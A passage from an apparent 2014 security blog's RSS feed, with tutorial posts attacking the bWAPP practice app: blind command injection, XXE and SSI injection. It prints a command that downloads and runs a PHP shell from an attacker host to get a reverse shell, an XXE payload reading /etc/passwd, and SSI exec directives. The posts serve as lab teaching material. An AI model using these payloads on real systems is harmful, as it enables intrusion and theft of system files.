&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8bs-nNGmLPUKhiIg7mK9SCDn2uK7zPfmYqxYDbCrAoh-OdNVsexKyYkmTOBXTo_qa1MwY-K-pEvGKfoIWk_diwtAXf_3b1OuMhmZbN5TaKBGkamiXWDfgr5GtspQRzad2BUHvKXNe/s1600/server.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8bs-nNGmLPUKhiIg7mK9SCDn2uK7zPfmYqxYDbCrAoh-OdNVsexKyYkmTOBXTo_qa1MwY-K-pEvGKfoIWk_diwtAXf_3b1OuMhmZbN5TaKBGkamiXWDfgr5GtspQRzad2BUHvKXNe/s1600/server.PNG&quot; height=&quot;68&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Then set up a Meterpreter listener on the attacker machine. LHOST=Attacker Machine&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2-ZcUaUtT9ZHV-rPGXDPK2YanrxtBs7cgSn1-vG-eBJLp3wkYo9RrC2yngUIRUWXL193XzMBPS_WUq5QPECIwRmizEGMt-BTm8AZONLE4kHpE8kNXGpPx6wVq7ipifZtspu0t83DQ/s1600/msfconsole.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2-ZcUaUtT9ZHV-rPGXDPK2YanrxtBs7cgSn1-vG-eBJLp3wkYo9RrC2yngUIRUWXL193XzMBPS_WUq5QPECIwRmizEGMt-BTm8AZONLE4kHpE8kNXGpPx6wVq7ipifZtspu0t83DQ/s1600/msfconsole.PNG&quot; height=&quot;145&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Let&#39;s exploit the vulnerability and download our shell from the attacker&#39;s web server.&lt;br /&gt;
&lt;br /&gt;
;wget http://192.168.1.100/bee-shell.txt&amp;nbsp; -O /tmp/bee-shell.php;php -f /tmp/bee-shell.php&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjS1JijFV3BUx5Yzf1MrpiJofBvbIewL5hYhbdN55TXyi_4iUtjFyb7M827im3Pchaf-3sPkrFqPPNM0AK4YY415Ws65pcpeaSCA0xsWxqrLMmIauuL7HN7N3wQdzvdVsF09RFH6egR/s1600/bWAPP.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjS1JijFV3BUx5Yzf1MrpiJofBvbIewL5hYhbdN55TXyi_4iUtjFyb7M827im3Pchaf-3sPkrFqPPNM0AK4YY415Ws65pcpeaSCA0xsWxqrLMmIauuL7HN7N3wQdzvdVsF09RFH6egR/s1600/bWAPP.PNG&quot; height=&quot;193&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
The above command will download bee-shell.txt as bee-shell.php in the /tmp directory and execute the php shell (php -f /tmp/bee-shell.php)&lt;br /&gt;
&lt;br /&gt;
Now we have a reverse shell on the victims machine. Let&#39;s test it :)&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdZidbR4MRZTSIdCNt6SqGyeHGDJ31C2y_sNJEiXV-Mk2iJd5kmabZDK4p7EItw_vt4bjx0PzMlamWArwacvnp0qXaFKAWC8LKPBpK52c-cOFJ4yCnB-0AIYM7-MLQ0HqIlETM6hsm/s1600/shell.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdZidbR4MRZTSIdCNt6SqGyeHGDJ31C2y_sNJEiXV-Mk2iJd5kmabZDK4p7EItw_vt4bjx0PzMlamWArwacvnp0qXaFKAWC8LKPBpK52c-cOFJ4yCnB-0AIYM7-MLQ0HqIlETM6hsm/s1600/shell.PNG&quot; height=&quot;121&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;</description><link>http://thehackpot.blogspot.com/2014/05/blind-os-command-injection-attacks.html</link><author>noreply@blogger.com (Anonymous)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaAn1Gt_hkhhtERWFEzqd08U8pcp7XOkLRCPeHOVAMYCVGf8wBxBLQLHtbLImy9DcZhEzAC3RUHtLtHBRKVFt7rYDtTYjxj9f2vBoaHLdmfSmGRZsn6nZ8nRlqEFJJH0UJmB_EKCtj/s72-c/whoami.PNG" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8805024510347536027.post-5169764950921546010</guid><pubDate>Thu, 22 May 2014 15:33:00 +0000</pubDate><atom:updated>2014-05-22T20:35:06.698+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">XML</category><category domain="http://www.blogger.com/atom/ns#">XXE</category><title>XML External Enitity (XXE) Injection</title><description>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
In this post we will look at XXE Injection, a type of XML vulnerability. The XML standard defines a concept of an external entity&amp;nbsp; XML entities are additional statements that can be added into XML that can tell the parser to pull data from third parties or even from the local file system. &lt;br /&gt;
&lt;br /&gt;
Below is a valid XML document. To construct it we use a DOCTYPE header and gave 
it a name, then within that header we embed the external entity 
declaration. All entities begin with a declaration - &amp;lt;!ENTITY, we gave it the
 name bWAPP and also declare it as type SYSTEM - meaning local file 
system. This the path to the local system file that we would like to fetch our content from. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE root [&lt;br /&gt;
&amp;lt;!ENTITY bWAPP SYSTEM &quot;file:///[file]&quot;&amp;gt;&lt;br /&gt;
]&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For the demo we will be using &lt;a href=&quot;http://www.mmeit.be/bwapp/&quot;&gt;bWAPP&lt;/a&gt; application. &lt;br /&gt;
&lt;br /&gt;
First navigate to the XXE vulnerable page in bWAPP. In order to send the request to the server you will need to click on the &#39;Any bugs?&#39; button.&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5r8oUL0lz149YUeLpSzRs6Bb3AMP3cy-MVnAciCY7h02kb1bd-Rh5X11Q6yibyRXFTUEeH8iD3qS6PvwWmF6Z0xCNEbInu2QeJpcgmBdxHAcTyXpdH2WxgDBUWB8N9-Bg3Sfw96Ri/s1600/xxe1.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5r8oUL0lz149YUeLpSzRs6Bb3AMP3cy-MVnAciCY7h02kb1bd-Rh5X11Q6yibyRXFTUEeH8iD3qS6PvwWmF6Z0xCNEbInu2QeJpcgmBdxHAcTyXpdH2WxgDBUWB8N9-Bg3Sfw96Ri/s1600/xxe1.PNG&quot; height=&quot;232&quot; width=&quot;400&quot; /&gt;&amp;nbsp;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
To view and manipulate the request you will need an intercepting proxy tool e.g. ZaProxy or Burp Suite. After cliking the button and checking the traffic history you will see a simple XML request with two parameters &amp;lt;login&amp;gt;bee&amp;lt;/login&amp;gt; and &amp;lt;secret&amp;gt;Any bugs?&amp;lt;/secret&amp;gt; . &lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG3PfzBf5IYbYid4qiIrzab4kJaUlCHxSMVvparA-PIGdZTwgIynyZF-0bedPczmRZDQLBTeBBtJVRgOAGEKN2Mj7gTgkiWiqqxUtJEQDyLGKDdSWTc4iHfSmRFjDXYod_k1Zm_upI/s1600/ZaProxy.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgG3PfzBf5IYbYid4qiIrzab4kJaUlCHxSMVvparA-PIGdZTwgIynyZF-0bedPczmRZDQLBTeBBtJVRgOAGEKN2Mj7gTgkiWiqqxUtJEQDyLGKDdSWTc4iHfSmRFjDXYod_k1Zm_upI/s1600/ZaProxy.PNG&quot; height=&quot;265&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
We can also see in the response that the input &#39;bee&#39; is being returned in the response. We can then be hopeful that the content we request will also be returned.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQN0VTazZCjgVuUTIYIj4q4H6sh834lmkzY2yA579khRDtYH1KpvM4ZUJN8mcYTnehUh9qvxf0pT1WKQjFW56cd7l5qtUZBr11-y_QTlu6X1IwCAsniiZhWgKLCwnx7Maee78FipZw/s1600/bee.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQN0VTazZCjgVuUTIYIj4q4H6sh834lmkzY2yA579khRDtYH1KpvM4ZUJN8mcYTnehUh9qvxf0pT1WKQjFW56cd7l5qtUZBr11-y_QTlu6X1IwCAsniiZhWgKLCwnx7Maee78FipZw/s1600/bee.PNG&quot; height=&quot;60&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
To pull the contents back from the external entity we change the value in login parameter to &amp;amp;bWAPP; (note there is no validation here) the variable that stands for the system path. The XML parser should look up the value of the system entity variable bWAPP and substitute the entity declaration for the content of the file.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7oqNYjI5WvOkvH2LI03VwHOy3YZ_Cb4dQ754dG5VQSk72xEw9ZYPx70T6BedZJju1Ok60RIVmyR9-8ypTJX_fmHEQxVDfjIIJb7ViPhyP_vMJVpoffXr5zAajQyVjAKFYESlptPfu/s1600/robots.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7oqNYjI5WvOkvH2LI03VwHOy3YZ_Cb4dQ754dG5VQSk72xEw9ZYPx70T6BedZJju1Ok60RIVmyR9-8ypTJX_fmHEQxVDfjIIJb7ViPhyP_vMJVpoffXr5zAajQyVjAKFYESlptPfu/s1600/robots.PNG&quot; height=&quot;166&quot; width=&quot;400&quot; /&gt;&amp;nbsp;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
When we check the response we can see that the robots.txt contents are returned&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQPJO_R0C2aoLRn9tKeq9YHQNnDhNo2rYAaUa0uB9cpoWeymm39fHQP6F4bw4y4LsG75hxU5VvYPMECw3YlZ7uyo11CtZNtAG1i7aEOFcm0ge_MFsxO1EzSQ63XYZqweA6MLyq-wEq/s1600/robotsresponse.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQPJO_R0C2aoLRn9tKeq9YHQNnDhNo2rYAaUa0uB9cpoWeymm39fHQP6F4bw4y4LsG75hxU5VvYPMECw3YlZ7uyo11CtZNtAG1i7aEOFcm0ge_MFsxO1EzSQ63XYZqweA6MLyq-wEq/s1600/robotsresponse.PNG&quot; height=&quot;133&quot; width=&quot;400&quot; /&gt;&amp;nbsp;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
We can also try to access a sensitive local resource such as /etc/passwd file. The steps will be the same as above only this time as we are calling a local file so we use file:/// &lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi91WBiqG50Kc5VcC9Sl0l2QvWvTnS2_5fJ2BXmiA9pd56BSZmfdjiTzVxIhC02WlgDYs1MhsXKyDNwNwMcuaxhFVCUzbFglPuFfQn8jjru7YOuTaV6W858aZNq4JAw_1nIWvZ7618L/s1600/requestetcpassword.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi91WBiqG50Kc5VcC9Sl0l2QvWvTnS2_5fJ2BXmiA9pd56BSZmfdjiTzVxIhC02WlgDYs1MhsXKyDNwNwMcuaxhFVCUzbFglPuFfQn8jjru7YOuTaV6W858aZNq4JAw_1nIWvZ7618L/s1600/requestetcpassword.PNG&quot; height=&quot;197&quot; width=&quot;400&quot; /&gt;&amp;nbsp;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Again we can see the file contents are returned in the response. &lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxVeq7bmZQjG9Ryk62EC4VSwQYZdZA55WVWfgMxG3CoZFL4425b09m-SYWhMDAnDl5c_eX__U24Ig7nEa9Ig3F-fjuTJiTO_jYjs6K41-cvmhShivS4bw1WdOklDvmMDAr-XSwv4h_/s1600/responseetcpassword.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxVeq7bmZQjG9Ryk62EC4VSwQYZdZA55WVWfgMxG3CoZFL4425b09m-SYWhMDAnDl5c_eX__U24Ig7nEa9Ig3F-fjuTJiTO_jYjs6K41-cvmhShivS4bw1WdOklDvmMDAr-XSwv4h_/s1600/responseetcpassword.PNG&quot; height=&quot;210&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
It is also possible to perform a DoS on the targets XML parser. The attack is known as the Billion Laughs attack or an XML bomb. There are 10 different XML entities lol - lol9 with the document consisting of a single instance of the largest entity, which expands to one billion copies of the first entity. &lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfMK62rXtpg0WylCYekSDG2gPYpU23A-WwKh83ogGfGu70Ksbsbf0nhxtsSVJ_OjmsXp8V1YVmWvzczD_UdE-8gcEQYGm-1cddAzFKUF7QvcoTYvoh9fpXZzYKy1NMuA8kwKl6tkoz/s1600/DoS.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfMK62rXtpg0WylCYekSDG2gPYpU23A-WwKh83ogGfGu70Ksbsbf0nhxtsSVJ_OjmsXp8V1YVmWvzczD_UdE-8gcEQYGm-1cddAzFKUF7QvcoTYvoh9fpXZzYKy1NMuA8kwKl6tkoz/s1600/DoS.PNG&quot; height=&quot;297&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
This exponential growth obviously consumes a lot of resources causing a DoS. More info available on this attack is available here &lt;a href=&quot;http://cytinus.wordpress.com/2011/07/26/37/&quot;&gt;cytinus blog&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
To find out more about XML and XXE attacks the following links are useful.. &lt;a href=&quot;https://www.owasp.org/index.php/File:XML_Exteral_Entity_Attack.pdf&quot;&gt;XML_Exteral_Entity_Attack.pdf&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing&quot;&gt;XML_External_Entity_(XXE)_Processing&lt;/a&gt;</description><link>http://thehackpot.blogspot.com/2014/05/xml-external-enitity-xxe-injection.html</link><author>noreply@blogger.com (Anonymous)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5r8oUL0lz149YUeLpSzRs6Bb3AMP3cy-MVnAciCY7h02kb1bd-Rh5X11Q6yibyRXFTUEeH8iD3qS6PvwWmF6Z0xCNEbInu2QeJpcgmBdxHAcTyXpdH2WxgDBUWB8N9-Bg3Sfw96Ri/s72-c/xxe1.PNG" height="72" width="72"/><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8805024510347536027.post-8251961130652105950</guid><pubDate>Wed, 14 May 2014 12:24:00 +0000</pubDate><atom:updated>2014-05-14T13:26:59.059+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">bWAPP</category><category domain="http://www.blogger.com/atom/ns#">Injection</category><category domain="http://www.blogger.com/atom/ns#">SSI</category><title>Server-Side Includes (SSI) Injection</title><description>In this post we will look at Server-Side Includes (SSI) Injection. Server-Side Includes allow developers to easily add persistent content to their pages rather than inserting common code on each page. For example if there is a logo or navigation menu on each page then it is easier to call this from a SSI. If an attacker can inject scripts into the HTML without proper escaping and the web server permits SSI then they may be able to exploit the application leading to file system and password file access. It may even be possible to execute shell commands &lt;br /&gt;
&lt;br /&gt;
We will be using&amp;nbsp;&lt;a href=&quot;http://www.mmeit.be/bwapp/&quot;&gt;bWAPP&lt;/a&gt; to demonstrate some example attack scenarios .&amp;nbsp; We can see that the page below has two input fields. The output will be your IP address when you enter your first and last name.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1eshPtnDW57O4ElzgFSxgOd0Eys1xmbylxMxMfvbsDz7tEaDsHsqKUJIDFUPl9Sjgiiji2sSbR4EK9sFf9amsKz8K6xFfF7F9bVaUT33DsBYiyKcEkfRBln0hwUZtFLd_sz-Fq7Ty/s1600/ssi1.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1eshPtnDW57O4ElzgFSxgOd0Eys1xmbylxMxMfvbsDz7tEaDsHsqKUJIDFUPl9Sjgiiji2sSbR4EK9sFf9amsKz8K6xFfF7F9bVaUT33DsBYiyKcEkfRBln0hwUZtFLd_sz-Fq7Ty/s1600/ssi1.PNG&quot; height=&quot;148&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
The first thing we want to check is how meaningful characters are rendered when returned from the server. To do this you can use any intercept proxy tool, for this demo I will use &lt;a href=&quot;http://code.google.com/p/zaproxy/&quot;&gt;ZaProxy&lt;/a&gt;. To execute a successful SSI Injection attack we will need to make sure that these characters &amp;lt;! -- are not escaped or filtered. So we inject them into the field.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsCwhLbsgihdFkvRG0ZQcKfP4gD9SAHeOO6_j3DO7UQaiAKfp7T8ohfU5268S6TvagVxXrGCDw93o-6uaeu-pvNvymdGnFrFRzW7_0oCpN-TYlIQYuwAELCqLEWNnNrA9Rfi-wRwvh/s1600/ssi2bracket.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsCwhLbsgihdFkvRG0ZQcKfP4gD9SAHeOO6_j3DO7UQaiAKfp7T8ohfU5268S6TvagVxXrGCDw93o-6uaeu-pvNvymdGnFrFRzW7_0oCpN-TYlIQYuwAELCqLEWNnNrA9Rfi-wRwvh/s1600/ssi2bracket.PNG&quot; height=&quot;148&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
The response in ZaProxy shows us that they are being displayed in the response unchanged (haven&#39;t been encoded). This is a good sign ;).&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj62-WdxMH6eT8SnMbcraz8rtwCcisl1_TtBgQDj-vKz5XMEFCBLT5oBbgHVjgWW7-kGaO6S0wPzPATiBHxKSMV1o2li6IR7guYNUd1cIwF3z9Wr9bJgtRifBjOfHy29j3HJOL2lrlO/s1600/zapresponse.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj62-WdxMH6eT8SnMbcraz8rtwCcisl1_TtBgQDj-vKz5XMEFCBLT5oBbgHVjgWW7-kGaO6S0wPzPATiBHxKSMV1o2li6IR7guYNUd1cIwF3z9Wr9bJgtRifBjOfHy29j3HJOL2lrlO/s1600/zapresponse.PNG&quot; height=&quot;93&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Ok let&#39;s take it a step further and try to execute an SSI. We can try to return the time and date using this command &amp;lt;!--#echo var=&quot;DATE_LOCAL&quot; --&amp;gt;. Again we inject straight into the field..&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRy2mDhPiVLc7K42YuCfronWFhwmP9EtfnUarXGIO1ptBZAeWkBvK5fzrZY2JPCZZijID5Y821MNdrSgtKFiu1c2amPAdrxYvrgkyGKsooE2BoV55v6TSG2cF74HN9OV_72ant2Oa-/s1600/ssi4date.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRy2mDhPiVLc7K42YuCfronWFhwmP9EtfnUarXGIO1ptBZAeWkBvK5fzrZY2JPCZZijID5Y821MNdrSgtKFiu1c2amPAdrxYvrgkyGKsooE2BoV55v6TSG2cF74HN9OV_72ant2Oa-/s1600/ssi4date.PNG&quot; height=&quot;145&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
The web server has parsed and executed the directive to echo the time and date before serving the page back, We now know it is vulnerable to injection.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtu3XKfMoMg4x2O58saI-3tym5HAI8Qr1XDNnK4QGqsD3xlwo61ig7SfNMUFUqp1BVUyBFOaFCrqfvsdRcVr-tjfJBOowWX3X_lpZa55xMhTPWCMnqBmU4ot_wJ8yZyZ6J1l2ZI_AI/s1600/ssi5.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtu3XKfMoMg4x2O58saI-3tym5HAI8Qr1XDNnK4QGqsD3xlwo61ig7SfNMUFUqp1BVUyBFOaFCrqfvsdRcVr-tjfJBOowWX3X_lpZa55xMhTPWCMnqBmU4ot_wJ8yZyZ6J1l2ZI_AI/s1600/ssi5.PNG&quot; height=&quot;223&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
So what else can we do? We can check to see if command execution is possible. whoami will return the current user, the command loos like this &amp;lt;!--#exec cmd=&quot;whoami&quot; --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMX4T5Tf5U9wjgZkmv5Q11zz9mo_olTLcAJDiZ8-groYb2ZChRLHGn6OYIufYNFrLlDodd_eiJgHloeU4fXjYE-MNc3tWaiB2VSkba6cOnMhx_QB_T3deTXE_tpiQlAKhbWKQ1UUYB/s1600/whoami.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMX4T5Tf5U9wjgZkmv5Q11zz9mo_olTLcAJDiZ8-groYb2ZChRLHGn6OYIufYNFrLlDodd_eiJgHloeU4fXjYE-MNc3tWaiB2VSkba6cOnMhx_QB_T3deTXE_tpiQlAKhbWKQ1UUYB/s1600/whoami.PNG&quot; height=&quot;143&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Again we can see that it has executed the SSI returns www-data (the user under which the Apache server runs.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiENG7jvJWmoc3KnHj-pNjkTE0IFlYyVSk6lybW3DSvYoPinLNcmuuKDUX02YAzS7cdm_VCpjPJyoU86pJJ5QqA1NP4pYmcZwIeF2oOLkpPN8Si9tD1XWrWLVdERojXw3LktZ5kKO1M/s1600/whoamiresponse.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiENG7jvJWmoc3KnHj-pNjkTE0IFlYyVSk6lybW3DSvYoPinLNcmuuKDUX02YAzS7cdm_VCpjPJyoU86pJJ5QqA1NP4pYmcZwIeF2oOLkpPN8Si9tD1XWrWLVdERojXw3LktZ5kKO1M/s1600/whoamiresponse.PNG&quot; height=&quot;191&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
